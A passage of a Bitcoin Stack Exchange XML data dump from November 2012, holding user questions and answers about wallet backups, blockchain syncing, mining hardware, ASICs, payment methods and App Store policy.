offline&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To get the offline wallet back online. Move out the existing wallet.dat file and replace it with you offline file. Open the Bitcoin client and you will now have access to the bitcoins associated with that wallet.&lt;/p&gt;&#xA;" OwnerUserId="1947" LastEditorUserId="1947" LastEditDate="2012-11-28T06:16:35.037" LastActivityDate="2012-11-28T06:16:35.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5358" PostTypeId="2" ParentId="5355" CreationDate="2012-11-15T00:30:41.797" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://skeptics.stackexchange.com/q/9809/5343&quot;&gt;This question in Skeptics SE&lt;/a&gt; asks &quot;Will the Sun's magnetic activity disrupt electronics on Earth?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, the disruption has a limited geographical area of effect, and protection for a device can be achieved by simply disconnecting the power and network cables to disconnect it from long-distance grids (which amplify the effect). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure there would be some offline backups available even if every PC that was plugged in was fried. I would assume servers in data centres would mostly have adequate protection already. For the vast majority of people with an interest in Bitcoin, the other effects that might come with widespread power and network outages would almost certainly be a bigger worry than any issues with bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that said, I recommend keeping multiple backups of your wallet in a variety of locations. Maybe you should keep a reasonable amount of cash handy in case of emergency too, if you're worried about geomagnetic storms...&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:46:46.767" LastActivityDate="2012-11-15T00:30:41.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5359" PostTypeId="2" ParentId="5158" CreationDate="2012-11-15T00:43:29.673" Score="0" Body="&lt;p&gt;Step 1: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitAddress.org&quot; rel=&quot;nofollow&quot;&gt;http://www.BitAddress.org&lt;/a&gt;   &amp;lt;--  Wiggle mouse, hit print.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Step 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From Bitcoin.org client, send money, enter Bitcoin address, Qty 8 BTC.  Press send.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Done.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-11-15T00:43:29.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5360" PostTypeId="2" ParentId="5353" CreationDate="2012-11-15T00:57:41.313" Score="11" Body="&lt;p&gt;New blocks are continuously being created (about once every 10 minutes).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you don't leave your client continuously connected, or when you're connecting for the first time, then when you do connect it will be out of sync and need to download and verify new blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are SPV (Simplified Payment Verification) clients (e.g., MultiBit and Bitcoin Wallet for Android), client-server clients (e.g., Electrum), and hosted (shared) EWallet web services (e.g., CoinBase, Paytunia, and others) -- each of which either lessen or eliminate the need to sync.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One method that brings the convenience of an EWallet but keeps the private keys local and not stored with the provider is Blockchain.info/wallet.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.Blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;http://www.Blockchain.info/wallet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That might be a better client if keeping your client connected continuously is a problem for you.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="2306" LastEditDate="2014-11-30T21:35:20.793" LastActivityDate="2014-11-30T21:35:20.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5361" PostTypeId="1" CreationDate="2012-11-15T07:49:43.133" Score="8" ViewCount="3293" Body="&lt;p&gt;I would like to receive a payment for selling my bitcoins. I don't trust the person much, so I will ask for money in advance. However, I'm not sure which payment processors could I use for such a transactions that are chargeback-resistant. I know PayPal is bad for this, but what are my other options?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which payment processors do not allow for chargeback?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2017-03-05T03:55:09.233" Title="Which payment processors do not allow for chargeback?" Tags="|payment|fraud|money|chargeback|sell-bitcoins|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5362" PostTypeId="2" ParentId="5351" CreationDate="2012-11-15T07:56:20.977" Score="4" Body="&lt;p&gt;According to &lt;a href=&quot;http://www.butterflylabs.com/contact/&quot; rel=&quot;nofollow&quot;&gt;Butterfly Labs' customer service department&lt;/a&gt;, their chief operating officer, and their vice president of product development, the speeds they claim for their BitForce products are all nominal speeds and a variance of +/-10% is permitted. As of this writing, they say speed claims are based on a combination of synthetic benchmarks and averaged real-world data, with real-world figures tending to be slightly lower. The hashrate you see may be affected by high network traffic, speed at which your pool provides work, whether other people's equipment has supplied enough confirmations that your unit's current work is no longer relevant, and luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can compare results with different mining programs--such as &lt;a href=&quot;http://luke.dashjr.org/programs/bfgminer/&quot; rel=&quot;nofollow&quot;&gt;bfgminer&lt;/a&gt;, &lt;a href=&quot;http://github.com/ckolivas/cgminer&quot; rel=&quot;nofollow&quot;&gt;cgminer&lt;/a&gt;, and &lt;a href=&quot;http://ufasoft.com/open/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;Ufasoft Miner&lt;/a&gt;--to what you're getting with BitMinter to check for software inefficiencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the front LED is flashing slowly, the device has overheated and has disabled its processors until they cool down. This is called throttling; the unit does no work while this is happening. Their FPGA units can be loaded with different firmware to select an operating speed that will work without throttling. Butterfly Labs provides software called EasyMiner (&lt;a href=&quot;http://www.butterflylabs.com/drivers/&quot; rel=&quot;nofollow&quot;&gt;on their Drivers page&lt;/a&gt;) for loading firmware manually, or through a process they call autotuning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their FPGA-based units are highly sensitive to temperature at the air inlets  which, depending on arrangement of nearby items and and other heat sources, can be significantly warmer than the ambient temperature of the room. A core temperature of 51.2 degrees Celsius is a little high, but not inherently bad as long as the unit isn't throttling. Their FPGA units also exhibit significant variation in contact of the heatspreader to the MPU cores, heat tolerance of the MPU cores, and application of thermal interface material (TIM). Some of their fans have been shown to operate at lower or higher speeds, as well. Examination of some early units has shown partial or complete separation of the primary heatsink, possibly during shipping. In the case of partial separation, the primary heatsink normally reseats itself (due to spring loading) but this can cause air cavities to form in the TIM. Air cavities will prevent proper contact and cause premature overheating. Later units use nylon bolts instead of spring-loaded pins to secure the main heatsink.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note that one of the webpage screenshots provided above shows &lt;a href=&quot;http://www.butterflylabs.com/product-details/&quot; rel=&quot;nofollow&quot;&gt;a claimed speed of 832 MH/s&lt;/a&gt;, NOT the &quot;850&quot; originally mentioned in the question's title. I don't remember whether I saw any ads that claimed higher speeds.)&lt;/p&gt;&#xA;" OwnerUserId="2223" LastEditorUserId="2223" LastEditDate="2012-11-17T04:46:56.827" LastActivityDate="2012-11-17T04:46:56.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5363" PostTypeId="2" ParentId="5361" CreationDate="2012-11-15T08:05:12.857" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Liberty_Reserve&quot; rel=&quot;nofollow&quot;&gt;Liberty Reserve&lt;/a&gt; (which was closed in May 2013) doesn't allow charge backs.&lt;/p&gt;&#xA;" OwnerUserId="2224" LastEditorUserId="841" LastEditDate="2013-08-01T04:01:49.313" LastActivityDate="2013-08-01T04:01:49.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5364" PostTypeId="1" CreationDate="2012-11-15T08:16:11.490" Score="3" ViewCount="1037" Body="&lt;p&gt;I know MtGox doesn't allow for such transfers to prevent money laundering. Which exchanges allow for anyone to fund your account with a bank transfer (USD preferable).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2020-02-08T10:34:07.933" Title="Which Bitcoin exchanges allow anyone to fund your account by a bank transfer?" Tags="|exchanges|wire-transfers|money-laundering|" AnswerCount="2" CommentCount="2" ClosedDate="2020-02-08T22:03:06.237" ContentLicense="CC BY-SA 3.0" />
  <row Id="5365" PostTypeId="2" ParentId="5361" CreationDate="2012-11-15T10:04:44.957" Score="6" Body="&lt;p&gt;It's a short list.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cash &lt;/li&gt;&#xA;&lt;li&gt;Liberty Reserve (though they did freeze some customer funds recently until they became verified)&lt;/li&gt;&#xA;&lt;li&gt;Bank Wire (though see comment below)&lt;/li&gt;&#xA;&lt;li&gt;Webmoney (supposedly)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's the payment methods hardness list:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Payment_methods&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Payment_methods&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-04-02T18:40:36.133" LastActivityDate="2013-04-02T18:40:36.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5366" PostTypeId="2" ParentId="460" CreationDate="2012-11-15T14:38:45.083" Score="5" Body="&lt;p&gt;Now you can try Bitpay's Ubercart plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitpay/ubercart-plugin&quot;&gt;https://github.com/bitpay/ubercart-plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2227" LastActivityDate="2012-11-15T14:38:45.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5368" PostTypeId="1" AcceptedAnswerId="5369" CreationDate="2012-11-15T15:31:54.980" Score="13" ViewCount="6865" Body="&lt;p&gt;Considering that mining progressed from CPU, to GPU, to FPGA, and now ASIC mining... have we finally hit the end of the road for technological advancement?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What future optimizations can occur after ASICs are widespread?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-01-23T12:55:05.810" LastActivityDate="2019-12-26T23:35:44.523" Title="What is more effective than ASIC mining?" Tags="|asic|mining-theory|mining-hardware|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5369" PostTypeId="2" ParentId="5368" CreationDate="2012-11-15T16:19:22.810" Score="12" Body="&lt;p&gt;Well, the ASICs machines would probably be more and more refined over the years (like processors), they can get bigger and so forth. So that will probably be the progress for a long while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Asides that, we have the quantum computers that might be the next big leap forward for all fields of computer science, but for now they can only do really small calculations (3x5=15... on 5 atoms, or something like that). However, there is no telling if and when quantum computers might become viable enough to do anything Bitcoin-related with them, or even whether they might be used to destroy Bitcoin's algorithms altogether.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-11-15T16:19:22.810" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5371" PostTypeId="1" CreationDate="2012-11-15T18:01:45.567" Score="-2" ViewCount="399" Body="&lt;p&gt;I would like to know whether any work known to bitcoin community, related to 'green mining'. As power consumption is main cost factor in mining, alternate energy sources like, solar / wind powered rigs could also be possible. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="5406" LastEditDate="2016-04-01T09:26:22.893" LastActivityDate="2016-04-01T09:26:22.893" Title="Bitcoin - Green mining" Tags="|energy-consumption|" AnswerCount="1" CommentCount="2" ClosedDate="2012-11-15T21:15:42.897" ContentLicense="CC BY-SA 3.0" />
  <row Id="5372" PostTypeId="2" ParentId="5371" CreationDate="2012-11-15T18:37:33.287" Score="2" Body="&lt;p&gt;One attempt, .... Diablo Mining Company didn't go so well.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=77469&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=77469&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So far, the most profitable mining has been in nations whose taxpayers provide subsidized electricity.  Essentially, it is like a form of welfare for Bitcoin mining entrepreneurs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASICs have removed that advantage though so it never got to be that big of a deal.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-11-15T18:37:33.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5374" PostTypeId="2" ParentId="5368" CreationDate="2012-11-15T22:40:55.727" Score="8" Body="&lt;p&gt;Regarding quantum computers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a scalable quantum computer were built, the Bitcoin protocol would become insecure. Bitcoin addresses are derived from the public key in an elliptic curve cryptography system. The whole system depends on the owner keeping his/her secret key indeed secret. Quantum computers could solve efficiently not only the factoring problem but also the discrete logarithm problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Discrete_logarithm&quot;&gt;http://en.wikipedia.org/wiki/Discrete_logarithm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The security Bitcoin derives from elliptic curve cryptography rests on the assumption that discrete logarithm is hard.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2012-11-15T22:40:55.727" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5376" PostTypeId="2" ParentId="4110" CreationDate="2012-11-16T12:21:43.723" Score="-3" Body="&lt;p&gt;nah... its defective programming, i have 10 bitcoin, say, fully confirmed 347 times last week, I spend 1 satoshi and the entire contents of the wallet are locked up until that spend is confirmed..  explain that any way you want it isnt going to cause the code to rewrite itself..&#xA;beta = beta &lt;/p&gt;&#xA;" OwnerUserId="2237" LastActivityDate="2012-11-16T12:21:43.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5377" PostTypeId="2" ParentId="5368" CreationDate="2012-11-16T15:21:55.963" Score="5" Body="&lt;p&gt;The first batch of ASICs will probably be based on &quot;structured ASIC&quot; technology, which is where wiring is laid on top of a pre-defined matrix of transistors. Because the wiring layers are the only layers that need to be defined, structured ASICs are much easier to design than the next most complex form of ASICs, in which the placement of transistors is also customized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Structured ASICs are very efficient compared with FPGAs; however, if the layout and selection of the transistors is also fully customized, you can get another order of magnitude improvement. My guess is that if Bitcoin continues to succeed for another year, one of the existing ASIC vendors will raise money ($5-10M) to design a standard cell ASIC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you think about what your iPhone's graphics processor can do for hour after hour -- all powered by a small battery -- you can get a sense of what a full custom ASIC is capable of in terms of power efficiency.&lt;/p&gt;&#xA;" OwnerUserId="2209" LastActivityDate="2012-11-16T15:21:55.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5378" PostTypeId="1" CreationDate="2012-11-16T18:38:04.243" Score="4" ViewCount="466" Body="&lt;p&gt;There are plenty of revenue-sharing blog websites &lt;a href=&quot;http://www.squidoo.com/income-blogging&quot; rel=&quot;nofollow&quot;&gt;out there&lt;/a&gt; (ie they share advertising revenue with the bloggers) but it would make a lot of sense for payments to be made out in Bitcoin, as transaction fees would be very low and the minimum payment amount could be kept small. It would also easily allow participants of any nationality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any blog hosting sites that share revenue and payout in Bitcoin? &lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2012-11-17T06:39:47.317" LastActivityDate="2015-07-27T15:00:14.260" Title="Are there any revenue sharing blog websites that pay out in Bitcoin?" Tags="|websites|" AnswerCount="2" CommentCount="1" ClosedDate="2015-07-28T12:22:23.060" ContentLicense="CC BY-SA 3.0" />
  <row Id="5379" PostTypeId="2" ParentId="2477" CreationDate="2012-11-16T18:41:54.827" Score="5" Body="&lt;p&gt;Bitcoin Wallet for Android supports backing up your private keys to external storage (e.g. SD Card). Just select &quot;Export/Import private keys&quot; from the action bar overflow menu.&lt;/p&gt;&#xA;" OwnerUserId="423" LastActivityDate="2012-11-16T18:41:54.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5381" PostTypeId="2" ParentId="2684" CreationDate="2012-11-17T06:03:28.060" Score="1" Body="&lt;p&gt;There are clients that do not require the full blockchain.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;SPV (Simplified Payment Verification) clients like MultiBit and Bitcoin Wallet for Android are two examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are client/server clients such as Electrum which are ready to use upon installation.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are hosted (shared) EWallet services such as Coinbase (Web-based) and Paytunia (Web-based or mobile client) which have no blockchain requirement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are hybrid EWallet services such as Blockchain.info/wallet which provide the conveniences of an EWallet with the security where your keys are kept locally and only an encrypted copy is kept on the host.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-11-17T06:03:28.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5382" PostTypeId="2" ParentId="2580" CreationDate="2012-11-17T08:44:22.233" Score="1" Body="&lt;p&gt;Maybe this can help you, it seems quite easy to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Securing_your_wallet#Making_a_new_wallet&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Securing_your_wallet#Making_a_new_wallet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2246" LastActivityDate="2012-11-17T08:44:22.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5383" PostTypeId="2" ParentId="4335" CreationDate="2012-11-17T18:36:28.457" Score="2" Body="&lt;p&gt;According to the bitcoin.it wiki, as Stephen Gornick linked to in a comment, this should be the code review process:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Pull requests are discussed on the forums and if there is consensus they're safe, tested, useful, well written, match coding style, etc. then they're merged into the 'master' branch.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Assuming the bitcointalk.org forums, I can't really find any pull request discussion. On Github it seems pull requests do get discussed though, for example: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/1795&quot; rel=&quot;nofollow&quot;&gt;Bloom filter pull request&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1747" LastActivityDate="2012-11-17T18:36:28.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5384" PostTypeId="1" CreationDate="2012-11-18T10:21:10.720" Score="2" ViewCount="3145" Body="&lt;p&gt;I want to make own computer for mining bitcoins. I read a lot of it but I have some questions. I want to buy APU + Graphic card and I am wondering when I my computer is mining is using for that CPU + GPU(from APU) + normal GPU. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you tell me if this configurations is good?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gigabyte GA-990FXA-D3 s.AM3+&#xA;ATI RADEON HD 5870&#xA;A8-3870K &#xA;DDR3 2GB CL9 1600Mhz&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will be running this on linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every two months I will be adding one more ATI GPU until I get 4 of them. Is that good strategy?&lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="5406" LastEditDate="2016-01-20T20:53:13.837" LastActivityDate="2016-01-20T20:53:13.837" Title="What GPU-APU configuration should I buy for mining Bitcoins?" Tags="|mining-profitability|mining-hardware|gpu-mining|" AnswerCount="1" CommentCount="3" ClosedDate="2015-11-07T12:05:59.160" ContentLicense="CC BY-SA 3.0" />
  <row Id="5385" PostTypeId="1" AcceptedAnswerId="5388" CreationDate="2012-11-18T12:34:51.927" Score="10" ViewCount="23251" Body="&lt;p&gt;For every transaction I wanted to get, I was creating a new address, but soon I realized that there is just no way to delete all these addresses from the UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it clear, here is a picture:&lt;img src=&quot;https://i.stack.imgur.com/jUjgb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using &lt;strong&gt;Bitcoin-Qt&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to delete all these addresses? &lt;/p&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="1878" LastEditDate="2012-12-16T02:08:03.643" LastActivityDate="2014-12-03T18:27:44.027" Title="How can I delete an address (private key) in the list of received Bitcoins?" Tags="|wallet|address|private-key|wallet.dat|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5386" PostTypeId="1" AcceptedAnswerId="5387" CreationDate="2012-11-18T15:47:49.593" Score="10" ViewCount="637" Body="&lt;p&gt;I assume that someone may have tried to upload a Bitcoin app and it was rejected, but does anyone have information on what specific rules Bitcoin-related applications violate on the App Store?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2022-09-05T22:44:03.627" LastActivityDate="2022-09-05T22:44:03.627" Title="Why isn't Bitcoin-QT or any other Bitcoin related app on the App Store for Mac?" Tags="|bitcoin-core|client|ios|appstore|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5387" PostTypeId="2" ParentId="5386" CreationDate="2012-11-18T16:38:29.133" Score="5" Body="&lt;p&gt;As far as I know, there have been no submissions of Bitcoin apps to the Mac App Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Bitcoin app for iOS was submitted to the App Store in May 2011 by &lt;a href=&quot;https://github.com/udibr&quot; rel=&quot;nofollow&quot;&gt;Ehud Ben-Reiven&lt;/a&gt;. He reported that it was rejected because &lt;a href=&quot;https://bitcointalk.org/index.php?topic=5550.msg107980#msg107980&quot; rel=&quot;nofollow&quot;&gt;&quot;...it involves intermediate currency...&quot;&lt;/a&gt;. He subsequently &lt;a href=&quot;https://bitcointalk.org/index.php?topic=5550.msg108749#msg108749&quot; rel=&quot;nofollow&quot;&gt;open-sourced&lt;/a&gt; the code, &lt;a href=&quot;https://github.com/udibr/bitcoinApp&quot; rel=&quot;nofollow&quot;&gt;bitcoinApp&lt;/a&gt;, but, as of this writing, it hasn't been updated in years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info&lt;/a&gt; had some success in submitting an &lt;a href=&quot;https://itunes.apple.com/us/app/blockchain/id493253309?ls=1&amp;amp;mt=8&quot; rel=&quot;nofollow&quot;&gt;Blockchain app&lt;/a&gt; which uses the site's API to do all the heavy work. However, it was &lt;a href=&quot;https://bitcointalk.org/index.php?topic=75673.msg889849#msg889849&quot; rel=&quot;nofollow&quot;&gt;removed without reason in May 2012&lt;/a&gt; and &lt;a href=&quot;https://bitcointalk.org/index.php?topic=75673.msg1099027#msg1099027&quot; rel=&quot;nofollow&quot;&gt;later restored in August 2012&lt;/a&gt;. This app relies on &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info&lt;/a&gt; as a hosted wallet, though, and is not a fat client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt; Apple disallows Bitcoin clients because it considers Bitcoin to be an &quot;intermediate currency&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Speculative TL;DR&lt;/strong&gt; Apple disallows Bitcoin clients directly because it's a payments system that circumvents Apple's desire to take a cut of all money that flows within its app ecosystem. It's not known how Venmo and other payment networks are allowed to circumvent that, if they even do.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="1409" LastEditDate="2012-11-19T20:02:25.400" LastActivityDate="2012-11-19T20:02:25.400" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5388" PostTypeId="2" ParentId="5385" CreationDate="2012-11-18T18:07:32.927" Score="9" Body="&lt;p&gt;I don't think it's possible to delete addresses from just the UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can delete addresses completely using &lt;a href=&quot;https://bitcointalk.org/index.php?topic=34028.0&quot; rel=&quot;nofollow&quot;&gt;Pywallet&lt;/a&gt;. However, unless you back up the key first, this means that you will not have access to any coins sent to these addresses (either future coins or existing coins which have not moved elsewhere).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The many addresses will be more manageable if you label them. You can even simply label each as &quot;Z&quot; to put them at the end of the list when sorted by label.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2014-12-03T18:14:40.927" LastActivityDate="2014-12-03T18:14:40.927" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5389" PostTypeId="1" CreationDate="2012-11-18T18:08:16.920" Score="12" ViewCount="13105" Body="&lt;p&gt;The messages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;synchronizing with network   &#xA;xxx blocks remaining&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what does that mean?&lt;/p&gt;&#xA;" OwnerUserId="2252" LastEditorUserId="132" LastEditDate="2013-04-12T13:35:16.813" LastActivityDate="2013-05-25T05:25:04.560" Title="Synchronizing with network – What does it mean?" Tags="|client|synchronization|" AnswerCount="1" CommentCount="1" ClosedDate="2016-01-27T21:38:54.260" ContentLicense="CC BY-SA 3.0" />
  <row Id="5390" PostTypeId="2" ParentId="5385" CreationDate="2012-11-18T19:40:30.160" Score="2" Body="&lt;p&gt;The only way I know of Is to use something like Pywallet, as Meni mentioned. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would like to point out that it is best practice to create a new address for each transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are concerned with not being able to find a particular address, you should take care to label all your address in a useful manner at the time you create them. Once labeled, they are searchable.&lt;/p&gt;&#xA;" OwnerUserId="615" LastActivityDate="2012-11-18T19:40:30.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5391" PostTypeId="2" ParentId="5389" CreationDate="2012-11-18T20:15:19.787" Score="7" Body="&lt;p&gt;It's most likely you're using the client from bitcoin.org.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Synchronizing with the network refers to the download and verification of the blocks in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_chain&quot; rel=&quot;nofollow&quot;&gt;block chain&lt;/a&gt;, which is the transaction history of Bitcoin. The block chain is the record of who spent what and when they spent it, and who owns what now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, the bitcoin.org client downloads the entire block chain on installation, which is somewhere around 3GB of data. As it downloads each block, it confirms each transaction, which is a disk-intensive activity. Unless you have high spec hardware, expect it to take many hours, possibly even days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version 0.8 of the bitcoin.org client alters the synchronization process, which heavily reduces the time required to get the client functional. The process is faster through being &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/13bsv4/this_is_frustrating_this_might_be_the_10th_time/&quot; rel=&quot;nofollow&quot;&gt;less disk intensive&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternative clients are also available, such as Armory or Electrum, which don't use the same synchronization process. Electrum &lt;a href=&quot;http://electrum.ecdsa.org/&quot; rel=&quot;nofollow&quot;&gt;doesn't download the block chain&lt;/a&gt;, and the &lt;a href=&quot;http://bitcoinarmory.com/index.php/start-page/what-is-armory/features&quot; rel=&quot;nofollow&quot;&gt;features list for Armory&lt;/a&gt; says it doesn't need the block chain.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="2306" LastEditDate="2013-05-25T05:25:04.560" LastActivityDate="2013-05-25T05:25:04.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5392" PostTypeId="2" ParentId="5384" CreationDate="2012-11-19T02:06:21.127" Score="2" Body="&lt;p&gt;It's essentially too late to be worthwhile GPU mining because FPGA's are much more energy efficient, and cheaper to buy per unit of output. This has meant the difficulty has risen high enough that you won't cover the cost of your electricity (or your hardware) with GPUs. ASICs are likely to be shipped soon, which will largely make FPGA's obsolete. You can pre order ASICs from &lt;a href=&quot;http://codinginmysleep.com/non-bfl-asic/&quot; rel=&quot;nofollow&quot;&gt;multiple manufacturers&lt;/a&gt;; Butterfly Labs is one.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2012-11-19T02:19:19.490" LastActivityDate="2012-11-19T02:19:19.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
